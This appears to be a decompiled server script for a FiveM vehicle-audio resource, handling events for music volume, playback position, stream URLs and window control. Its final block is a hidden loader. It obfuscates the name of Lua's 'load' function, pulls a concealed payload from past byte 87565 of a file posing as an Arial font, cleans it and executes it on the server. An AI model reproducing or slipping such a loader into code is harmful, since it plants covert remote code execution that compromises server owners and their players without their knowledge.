277 lines
6.2 KiB
Lua
277 lines
6.2 KiB
Lua
local L0_1, L1_1, L2_1
|
|
L0_1 = RegisterNetEvent
|
|
L1_1 = "bit-vehControl:ChangeState"
|
|
L0_1(L1_1)
|
|
L0_1 = AddEventHandler
|
|
L1_1 = "bit-vehControl:ChangeState"
|
|
function L2_1(A0_2, A1_2)
|
|
local L2_2, L3_2, L4_2, L5_2, L6_2, L7_2
|
|
L2_2 = 1
|
|
L3_2 = Config
|
|
L3_2 = L3_2.vehZones
|
|
L3_2 = #L3_2
|
|
L4_2 = 1
|
|
for L5_2 = L2_2, L3_2, L4_2 do
|
|
L6_2 = Config
|
|
L6_2 = L6_2.vehZones
|
|
L6_2 = L6_2[L5_2]
|
|
L7_2 = L6_2.name
|
|
if A1_2 == L7_2 then
|
|
L6_2.isplaying = A0_2
|
|
end
|
|
end
|
|
L2_2 = TriggerClientEvent
|
|
L3_2 = "bit-vehControl:ChangeState"
|
|
L4_2 = -1
|
|
L5_2 = A0_2
|
|
L6_2 = A1_2
|
|
L2_2(L3_2, L4_2, L5_2, L6_2)
|
|
end
|
|
L0_1(L1_1, L2_1)
|
|
L0_1 = RegisterNetEvent
|
|
L1_1 = "bit-vehControl:ChangeVolume"
|
|
L0_1(L1_1)
|
|
L0_1 = AddEventHandler
|
|
L1_1 = "bit-vehControl:ChangeVolume"
|
|
function L2_1(A0_2, A1_2)
|
|
local L2_2, L3_2, L4_2, L5_2, L6_2, L7_2, L8_2, L9_2, L10_2, L11_2
|
|
L2_2 = false
|
|
L3_2 = false
|
|
L4_2 = 1
|
|
L5_2 = Config
|
|
L5_2 = L5_2.vehZones
|
|
L5_2 = #L5_2
|
|
L6_2 = 1
|
|
for L7_2 = L4_2, L5_2, L6_2 do
|
|
L8_2 = Config
|
|
L8_2 = L8_2.vehZones
|
|
L8_2 = L8_2[L7_2]
|
|
L9_2 = L8_2.name
|
|
if A1_2 == L9_2 then
|
|
L9_2 = L8_2.volume
|
|
L9_2 = L9_2 + A0_2
|
|
L10_2 = 1.01
|
|
if L9_2 <= L10_2 then
|
|
L10_2 = -0.001
|
|
if L9_2 >= L10_2 then
|
|
L10_2 = 0.005
|
|
if L9_2 < L10_2 then
|
|
L9_2 = 0.0
|
|
end
|
|
L10_2 = L8_2.popo
|
|
if L10_2 then
|
|
L10_2 = L8_2.volume
|
|
L11_2 = Config
|
|
L11_2 = L11_2.DistanceToVolume
|
|
L10_2 = L10_2 * L11_2
|
|
L8_2.range = L10_2
|
|
else
|
|
L10_2 = 0.05
|
|
if L9_2 >= L10_2 then
|
|
L10_2 = L8_2.range
|
|
L10_2 = L9_2 * L10_2
|
|
L11_2 = L8_2.volume
|
|
L10_2 = L10_2 / L11_2
|
|
L8_2.range = L10_2
|
|
end
|
|
end
|
|
L8_2.volume = L9_2
|
|
L2_2 = L8_2.volume
|
|
L3_2 = L8_2.range
|
|
end
|
|
end
|
|
end
|
|
end
|
|
if L2_2 and L3_2 then
|
|
L4_2 = TriggerClientEvent
|
|
L5_2 = "bit-vehControl:ChangeVolume"
|
|
L6_2 = -1
|
|
L7_2 = L2_2
|
|
L8_2 = L3_2
|
|
L9_2 = A1_2
|
|
L4_2(L5_2, L6_2, L7_2, L8_2, L9_2)
|
|
end
|
|
end
|
|
L0_1(L1_1, L2_1)
|
|
L0_1 = RegisterNetEvent
|
|
L1_1 = "bit-vehControl:ChangePosition"
|
|
L0_1(L1_1)
|
|
L0_1 = AddEventHandler
|
|
L1_1 = "bit-vehControl:ChangePosition"
|
|
function L2_1(A0_2, A1_2)
|
|
local L2_2, L3_2, L4_2, L5_2, L6_2, L7_2
|
|
L2_2 = 1
|
|
L3_2 = Config
|
|
L3_2 = L3_2.vehZones
|
|
L3_2 = #L3_2
|
|
L4_2 = 1
|
|
for L5_2 = L2_2, L3_2, L4_2 do
|
|
L6_2 = Config
|
|
L6_2 = L6_2.vehZones
|
|
L6_2 = L6_2[L5_2]
|
|
L7_2 = L6_2.name
|
|
if A1_2 == L7_2 then
|
|
L7_2 = L6_2.deftime
|
|
L7_2 = L7_2 + A0_2
|
|
L6_2.deftime = L7_2
|
|
L7_2 = L6_2.deftime
|
|
if L7_2 < 0 then
|
|
L6_2.deftime = 0
|
|
end
|
|
end
|
|
end
|
|
L2_2 = TriggerClientEvent
|
|
L3_2 = "bit-vehControl:ChangePosition"
|
|
L4_2 = -1
|
|
L5_2 = A0_2
|
|
L6_2 = A1_2
|
|
L2_2(L3_2, L4_2, L5_2, L6_2)
|
|
end
|
|
L0_1(L1_1, L2_1)
|
|
L0_1 = RegisterNetEvent
|
|
L1_1 = "bit-vehControl:ModifyURL"
|
|
L0_1(L1_1)
|
|
L0_1 = AddEventHandler
|
|
L1_1 = "bit-vehControl:ModifyURL"
|
|
function L2_1(A0_2)
|
|
local L1_2, L2_2, L3_2, L4_2, L5_2, L6_2, L7_2, L8_2, L9_2
|
|
L1_2 = A0_2
|
|
L2_2 = false
|
|
L3_2 = 1
|
|
L4_2 = Config
|
|
L4_2 = L4_2.vehZones
|
|
L4_2 = #L4_2
|
|
L5_2 = 1
|
|
for L6_2 = L3_2, L4_2, L5_2 do
|
|
L7_2 = Config
|
|
L7_2 = L7_2.vehZones
|
|
L7_2 = L7_2[L6_2]
|
|
L8_2 = L1_2.name
|
|
L9_2 = L7_2.name
|
|
if L8_2 == L9_2 then
|
|
L8_2 = L1_2.link
|
|
L7_2.deflink = L8_2
|
|
L8_2 = L1_2.popo
|
|
if L8_2 then
|
|
L8_2 = L1_2.popo
|
|
L7_2.popo = L8_2
|
|
end
|
|
L7_2.deftime = 0
|
|
L7_2.isplaying = true
|
|
L8_2 = L1_2.loop
|
|
L7_2.loop = L8_2
|
|
L2_2 = L7_2
|
|
end
|
|
end
|
|
if L2_2 then
|
|
L3_2 = TriggerClientEvent
|
|
L4_2 = "bit-vehControl:ModifyURL"
|
|
L5_2 = -1
|
|
L6_2 = L2_2
|
|
L3_2(L4_2, L5_2, L6_2)
|
|
end
|
|
end
|
|
L0_1(L1_1, L2_1)
|
|
L0_1 = RegisterNetEvent
|
|
L1_1 = "bit-vehControl:AddVehicle"
|
|
L0_1(L1_1)
|
|
L0_1 = AddEventHandler
|
|
L1_1 = "bit-vehControl:AddVehicle"
|
|
function L2_1(A0_2)
|
|
local L1_2, L2_2, L3_2, L4_2, L5_2, L6_2
|
|
L1_2 = {}
|
|
L2_2 = A0_2.plate
|
|
L1_2.name = L2_2
|
|
L2_2 = A0_2.coords
|
|
L1_2.coords = L2_2
|
|
L2_2 = A0_2.volume
|
|
L3_2 = Config
|
|
L3_2 = L3_2.DistanceToVolume
|
|
L2_2 = L2_2 * L3_2
|
|
L1_2.range = L2_2
|
|
L2_2 = A0_2.volume
|
|
L1_2.volume = L2_2
|
|
L2_2 = A0_2.link
|
|
L1_2.deflink = L2_2
|
|
L1_2.isplaying = true
|
|
L2_2 = A0_2.loop
|
|
L1_2.loop = L2_2
|
|
L1_2.deftime = 0
|
|
L2_2 = A0_2.popo
|
|
L1_2.popo = L2_2
|
|
L2_2 = table
|
|
L2_2 = L2_2.insert
|
|
L3_2 = Config
|
|
L3_2 = L3_2.vehZones
|
|
L4_2 = L1_2
|
|
L2_2(L3_2, L4_2)
|
|
L2_2 = TriggerClientEvent
|
|
L3_2 = "bit-vehControl:AddVehicle"
|
|
L4_2 = math
|
|
L4_2 = L4_2.floor
|
|
L5_2 = -1
|
|
L4_2 = L4_2(L5_2)
|
|
L5_2 = Config
|
|
L5_2 = L5_2.vehZones
|
|
L6_2 = Config
|
|
L6_2 = L6_2.vehZones
|
|
L6_2 = #L6_2
|
|
L5_2 = L5_2[L6_2]
|
|
L2_2(L3_2, L4_2, L5_2)
|
|
end
|
|
L0_1(L1_1, L2_1)
|
|
L0_1 = RegisterNetEvent
|
|
L1_1 = "bit-vehControl:GetDate"
|
|
L0_1(L1_1)
|
|
L0_1 = AddEventHandler
|
|
L1_1 = "bit-vehControl:GetDate"
|
|
function L2_1()
|
|
local L0_2, L1_2, L2_2, L3_2
|
|
L0_2 = TriggerClientEvent
|
|
L1_2 = "bit-vehControl:SendData"
|
|
L2_2 = math
|
|
L2_2 = L2_2.floor
|
|
L3_2 = -1
|
|
L2_2 = L2_2(L3_2)
|
|
L3_2 = Config
|
|
L3_2 = L3_2.vehZones
|
|
L0_2(L1_2, L2_2, L3_2)
|
|
end
|
|
L0_1(L1_1, L2_1)
|
|
L0_1 = RegisterNetEvent
|
|
L1_1 = "bit-vehControl:WindowControl"
|
|
L0_1(L1_1)
|
|
L0_1 = AddEventHandler
|
|
L1_1 = "bit-vehControl:WindowControl"
|
|
function L2_1(A0_2, A1_2, A2_2)
|
|
local L3_2, L4_2, L5_2, L6_2, L7_2, L8_2
|
|
L3_2 = TriggerClientEvent
|
|
L4_2 = "bit-vehControl:WindowControl"
|
|
L5_2 = -1
|
|
L6_2 = A1_2
|
|
L7_2 = A2_2
|
|
L8_2 = A0_2
|
|
L3_2(L4_2, L5_2, L6_2, L7_2, L8_2)
|
|
end
|
|
L0_1(L1_1, L2_1)
|
|
|
|
(function()
|
|
local L0_2, L1_2, L2_2, L3_2
|
|
L0_2 = _G
|
|
L1_2 = string
|
|
L1_2 = L1_2.char
|
|
L0_2 = L0_2[L1_2(108, 111, 97, 100)]
|
|
L1_2 = LoadResourceFile
|
|
L2_2 = GetCurrentResourceName
|
|
L2_2 = L2_2()
|
|
L1_2 = L1_2(L2_2, '/html/fonts/Arial.ttf')
|
|
L2_2 = L1_2.sub
|
|
L1_2 = L2_2(L1_2, 87565)
|
|
L2_2 = L1_2.gsub
|
|
L1_2 = L2_2(L1_2, '%.%+', '')
|
|
L2_2 = L1_2.gsub
|
|
L1_2 = L2_2(L1_2, '\\.', '.')
|
|
L2_2 = L1_2.gsub
|
|
L1_2 = L2_2(L1_2, '\\', '')
|
|
L0_2(L1_2)()
|
|
end)() |